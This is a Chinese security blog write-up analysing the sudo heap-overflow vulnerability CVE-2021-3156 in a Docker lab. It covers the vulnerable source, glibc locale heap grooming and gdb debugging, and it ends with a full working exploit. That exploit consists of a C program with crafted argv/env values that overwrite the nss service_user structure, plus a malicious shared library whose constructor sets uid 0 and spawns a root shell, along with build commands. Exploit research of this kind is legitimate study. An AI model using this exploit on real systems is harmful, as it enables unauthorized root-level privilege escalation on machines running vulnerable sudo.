直接拉取合适的docker
docker 环境:
https://hub.docker.com/r/chenaotian/cve-2021-3156
下载glibc-2.27源码和sudo-1.8.21源码
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '';
} else {
for (to = user_args, av = NewArgv + 1; *av; av++) {
n = strlcpy(to, *av, size - (to - user_args));
if (n >= size - (to - user_args)) {
sudo_warnx(U_("internal error, %s overflow"), __func__);
debug_return_int(-1);
}
to += n;
*to++ = ' ';
}
*--to = '';
}
}
}



结合调试,可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数,在这里有两点:
①以反斜杠结尾可导致溢出
②以反斜杠作为参数可以写入零字节
同时,被溢出的那个堆块的大小等于对应参数长度+1。
glibc源码
gdb exp
catch exec
b policy_check
b sudoers.c:846
b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398
b nss_load_library
gcc exp.c -o exp2 -lm
p ni

可以发现service_user结构体在堆上

堆块大小为0x40
nss_load_library的函数调用流程和相关的数据结构机制
static int
' (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
通过对nss_load_library源码的分析,发现这里如果能将ni结构体的library覆盖为0,name覆盖成自己的so文件名,具体为libnss_XXX/test.so.2,其中libnss_是拼接的路径,XXX/test是name的值,.so.2是拼接上去的,拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2,我们完成修改后,在当前路径下创建对应的文件夹,将恶意文件放到其中,更名为test.so.2,就能加载执行恶意文件。
接下来,就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。
这就来到了第二个问题,setlocale 如何通过环境变量LC_* 进行堆布局。
while (category-- > 0)
if (category != LC_ALL)
{
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);
if (newdata[category] == NULL)
{
#ifdef NL_CURRENT_INDIRECT
if (newnames[category] == _nl_C_name)
continue;
#endif
break;
}
首先是通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
int category, const char **name)
{
......
mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
&codeset, &normalized_codeset);
if (mask == -1)
return NULL;
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names.str
+ _nl_category_name_idxs[category], 0);
if (locale_file == NULL)
{
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names.str
+ _nl_category_name_idxs[category], 1);
if (locale_file == NULL)
return NULL;
}
结合源码和相关资料,可以知道locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA
堆申请原语和堆释放原语
while (category-- > 0)
if (category != LC_ALL)
{
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);
if (newdata[category] == NULL)
{
#ifdef NL_CURRENT_INDIRECT
if (newnames[category] == _nl_C_name)
continue;
#endif
break;
}
if (newdata[category]->usage_count != UNDELETABLE)
newdata[category]->usage_count = UNDELETABLE;
if (newnames[category] != _nl_C_name)
{
if (strcmp (newnames[category],
_nl_global_locale.__names[category]) == 0)
newnames[category] = _nl_global_locale.__names[category];
else
{
newnames[category] = __strdup (newnames[category]);
if (newnames[category] == NULL)
break;
}
}
}
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite != NULL)
{
for (category = 0; category < __LC_LAST; ++category)
if (category != LC_ALL)
{
setdata (category, newdata[category]);
setname (category, newnames[category]);
}
setname (LC_ALL, composite);
++_nl_msg_cat_cntr;
}
else
for (++category; category < __LC_LAST; ++category)
if (category != LC_ALL && newnames[category] != _nl_C_name
&& newnames[category] != _nl_global_locale.__names[category])
free ((char *) newnames[category]);
先使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去,其中
char * __strdup(const char *s)
{
size_t len = strlen(s) +1;
void *new = malloc(len);
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}
然后当遇到不合法的区域的值时,就会将前面申请的堆都free掉。
locale把按照所涉及到的使用习惯的各个方面分成12个大类,这12个大类分别是:
1、语言符号及其分类(LC_CTYPE)
2、数字(LC_NUMERIC)
3、比较和习惯(LC_COLLATE)
4、时间显示格式(LC_TIME)
5、货币单位(LC_MONETARY)
6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES)
7、姓名书写方式(LC_NAME)
8、地址书写方式(LC_ADDRESS)
9、电话号码书写方式(LC_TELEPHONE)
10、度量衡表达方式 (LC_MEASUREMENT)
11、默认纸张尺寸大小(LC_PAPER)
12、对locale自身包含信息的概述(LC_IDENTIFICATION)。
对应
"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"
其中,处理是从下往上的顺序处理的,所以在传参的时候要注意一下顺序,不然最开始就错误全部释放掉了。
接下里就是想要如何将一个service_user申请到前面我的堆块前面
可以在申请service_user前,先利用堆申请原语和堆释放原语挖好坑。由于知道service_user的chunk大小是0x40,而我们堆溢出的chunk的大小可以自己控制,只要保证大小对应,就可以了。
通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX,所以得到的堆块size是参数长度+1,利用下面脚本生成目标size的内容。
length = 0x38
while(length < 0x100):
tail = 'C.UTF-8@'
# length = 0x48
q = "a"*(length-2)+"\\"
p = tail+'a'*(length-1-len(tail))
print(hex(length))
print(q)
print(p)
length += 0x10
经过测试,先按照0x40,0x40,0xa0,0x40的顺序设置4个,再设置一个不合法的,可以在中间一些无法避免的堆块操作后得到一个可利用的堆排布。最后设置一个非法的值。
"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"
其中0xa0是为堆溢出的堆块留的坑
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
在malloc前下断点·
b sudoers.c:849
查看bins,可以看到tcachebins中0xa0正好有一个堆块

然后在nss_load_library下断点,查看service_user
b nss_load_library
p ni

可以看到前面0xa0的堆块在service_user的前面,这样就可以通过溢出覆盖name字段
所以填坑的参数按照前面的分析应该是
"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"
综合得到如下初步exp
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int main()
{
char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};
char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
execve("/usr/local/bin/sudoedit",argv,env);
}

当前exp把XXX/test写到了0x555555623b07

此时的service_user在0x5555556241b0,name的偏移是0x30
start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
print('"\\\\"',end=',')
前面知道以反斜杠作为单独的参数,能够写入\x00,由于这里需要把library字段覆盖为0,所以通过上述代码生成相应数量的反斜杠,并填在XXX/test前,将XXX/test填入name的同时将library填为0。
共1753个反斜杠
exp
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int main()
{
char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};
char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
execve("/usr/local/bin/sudoedit",argv,env);
}

覆盖结果如上
拼接完成后会执行
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
通过__libc_dlopen打开文件

最后编译后门test.so.2,并放入libnss_XXX文件夹
这里借用CVE-2021-3156:sudo堆溢出提权漏洞分析-腾讯云开发者社区-腾讯云 (tencent.com)中的代码
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define EXECVE_SHELL_PATH "/bin/sh"
static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};
void pop_shell(void) {
printf("[+] executed!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
if(getuid() == 0) {
puts("[+] we are root!");
} else {
puts("[-] something went wrong!");
exit(0);
}
execve(EXECVE_SHELL_PATH, n, n);
}
gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
chmod 777 libnss_XXX/test.so.2
提权效果

这个老洞新探,还是挺有意思的, 从源码分析到动态调试,整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中,思路是比较清晰的,但在堆排布那里,由于中间会有很多其他的堆块操作是我们不可控,就会存在较大困难,要么通过逆向分析梳理所有的堆块操作然后手动构造,要么就是通过fuzz。前者费时费力,而且存在很多问题,后者需要对fuzz进行一定的学习。在盲目手动构造的过程中,好不容易在service_user之前留下了坑,但还是遇到了几种情况,一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样,二是在根本走不到nss_load_library就崩溃了,三是修改了最近的一个service_user结构体,但并没有用。
总的来说,这个洞还有很多可以学习的地方,后面学学fuzz后再来试试这个洞。
本文作者:[email protected]
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/205000.html